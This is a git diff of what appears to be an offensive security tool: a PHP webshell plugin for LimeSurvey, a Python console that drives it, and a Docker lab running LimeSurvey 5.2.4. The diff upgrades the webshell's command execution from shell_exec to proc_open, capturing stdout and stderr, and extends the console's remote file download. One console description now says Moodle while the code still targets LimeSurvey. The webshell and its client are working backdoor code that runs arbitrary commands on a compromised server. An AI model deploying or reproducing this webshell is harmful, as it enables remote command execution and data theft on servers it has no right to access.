diff --git a/.github/demo.mp4 b/.github/demo.mp4
index 892d283..661bb6a 100644
Binary files a/.github/demo.mp4 and b/.github/demo.mp4 differ
diff --git a/.github/download_file_web.png b/.github/download_file_web.png
index eb56531..9f56c25 100644
Binary files a/.github/download_file_web.png and b/.github/download_file_web.png differ
diff --git a/.github/exec_code_web.png b/.github/exec_code_web.png
index 22d980a..d0359a0 100644
Binary files a/.github/exec_code_web.png and b/.github/exec_code_web.png differ
diff --git a/Makefile b/Makefile
index 52126fc..ba78a8f 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,6 @@
.PHONY: all build
-VERSION := 1.1.0
+VERSION := 1.2.0
all: build
diff --git a/console.py b/console.py
index 03126cf..3d4feed 100755
--- a/console.py
+++ b/console.py
@@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
# File name : console.py
# Author : Podalirius (@podalirius_)
-# Date created : 16 Apr 2022
+# Date created : 22 May 2022
import argparse
@@ -38,8 +38,8 @@ def complete(self, text, state):
def parseArgs():
- parser = argparse.ArgumentParser(description="Interactive console for LimeSurvey webshell plugin")
- parser.add_argument("-t", "--target", default=None, required=True, help='LimeSurvey target instance')
+ parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin")
+ parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance')
parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
return parser.parse_args()
@@ -60,6 +60,10 @@ def remote_exec(target, cmd, verbose=False):
print(json.dumps(data, indent=4))
if len(data["stdout"].strip()) != 0:
print(data["stdout"].strip())
+
+ if len(data["stderr"].strip()) != 0:
+ for line in data["stderr"].strip().split('\n'):
+ print("\x1b[91m%s\x1b[0m" % line)
except Exception as e:
print(e)
@@ -71,7 +75,7 @@ def b_filesize(content):
for k in range(len(units)):
if l < (1024 ** (k + 1)):
break
- return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k])
+ return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k])
#
r = requests.post(
"%s/upload/plugins/WebShell/webshell.php" % target,
@@ -82,6 +86,7 @@ def b_filesize(content):
)
if r.status_code == 200:
+ print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path))
dir = local_path + os.path.dirname(remote_path)
if not os.path.exists(dir):
os.makedirs(dir, exist_ok=True)
diff --git a/plugin/config.xml b/plugin/config.xml
index fa261f7..49be3fe 100644
--- a/plugin/config.xml
+++ b/plugin/config.xml
@@ -7,7 +7,7 @@
2022-04-15
Podalirius
https://podalirius.net/
- 1.1.0
+ 1.2.0
GNU General Public License version 2 or later
diff --git a/plugin/webshell.php b/plugin/webshell.php
index 58293d4..33260d9 100644
--- a/plugin/webshell.php
+++ b/plugin/webshell.php
@@ -1,11 +1,13 @@
"Path " . $path_to_file . " does not exist or is not readable.",
+ "path" => $path_to_file
+ )
+ );
}
+
} elseif ($action == "exec") {
$command = $_REQUEST["cmd"];
- $stdout = shell_exec($command);
+
+ // Spawn shell process
+ $descriptorspec = array(
+ 0 => array("pipe", "w"), // stdout is a pipe that the child will write to
+ 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
+ 2 => array("pipe", "w") // stderr is a pipe that the child will write to
+ );
+
+ chdir("/");
+ $process = proc_open($command, $descriptorspec, $pipes);
+
+ if (!is_resource($process)) {
+ // Can't spawn process
+ exit(1);
+ }
+
+ // Set everything to non-blocking
+ // Reason: Occasionally reads will block, even though stream_select tells us they won't
+ // stream_set_blocking($pipes[1], 0);
+ // stream_set_blocking($pipes[2], 0);
+
+ // If we can read from the process's STDOUT send data down tcp connection
+ $stdout = ""; $buffer = "";
+ do {
+ $buffer = fread($pipes[1], $chunk_size);
+ $stdout = $stdout . $buffer;
+ } while ((!feof($pipes[1])) && (strlen($buffer) != 0));
+
+ // If we can read from the process's STDOUT send data down tcp connection
+ $stderr = ""; $buffer = "";
+ do {
+ $buffer = fread($pipes[2], $chunk_size);
+ $stderr = $stderr . $buffer;
+ } while ((!feof($pipes[2])) && (strlen($buffer) != 0));
+
+ fclose($pipes[1]);
+ fclose($pipes[2]);
+ proc_close($process);
+
header('Content-Type: application/json');
- echo json_encode(array('stdout' => $stdout, 'exec' => $command));
+ echo json_encode(
+ array(
+ 'stdout' => $stdout,
+ 'stderr' => $stderr,
+ 'exec' => $command
+ )
+ );
}
?>
diff --git a/test_env/Dockerfile b/test_env/Dockerfile
new file mode 100644
index 0000000..d8e0206
--- /dev/null
+++ b/test_env/Dockerfile
@@ -0,0 +1,21 @@
+FROM debian:buster
+
+RUN apt-get -y -q update; \
+ apt-get -y -q install apache2 xxd git unzip wget php php-simplexml php-gd php-ldap php-zip php-imap php-mysql php-mbstring mariadb-client mariadb-server
+
+RUN service mysql start;\
+ mysql -u root -e "CREATE USER 'db'@'%' IDENTIFIED BY 'db'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = 'db'; GRANT ALL PRIVILEGES ON *.* TO 'db'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;"
+
+RUN wget https://github.com/LimeSurvey/LimeSurvey/archive/refs/tags/5.2.4+211129.zip -O /tmp/LimeSurvey.zip ;\
+ cd /var/www/html/; rm index.html; unzip /tmp/LimeSurvey.zip; mv LimeSurvey-5.2.4-211129/* .
+
+RUN chown www-data: -R /var/www/
+
+RUN echo "#!/bin/bash" > /entrypoint.sh ;\
+ echo "service mysql start" >> /entrypoint.sh ;\
+ echo "apachectl -D FOREGROUND" >> /entrypoint.sh ;\
+ chmod +x /entrypoint.sh
+
+EXPOSE 80
+
+CMD /entrypoint.sh
diff --git a/test_env/Makefile b/test_env/Makefile
new file mode 100644
index 0000000..b96cc3d
--- /dev/null
+++ b/test_env/Makefile
@@ -0,0 +1,21 @@
+.PHONY: build img
+
+IMGNAME := awesome_rce_limesurvey_upload_plugin
+PORT := 10080
+
+all : build
+
+build:
+ docker build -t $(IMGNAME):latest -f Dockerfile .
+
+start: build
+ docker run --rm -it -p $(PORT):80 $(IMGNAME)
+
+background:
+ docker run --rm -d -p $(PORT):80 $(IMGNAME)
+
+shell:
+ docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash
+
+stop:
+ docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}')
\ No newline at end of file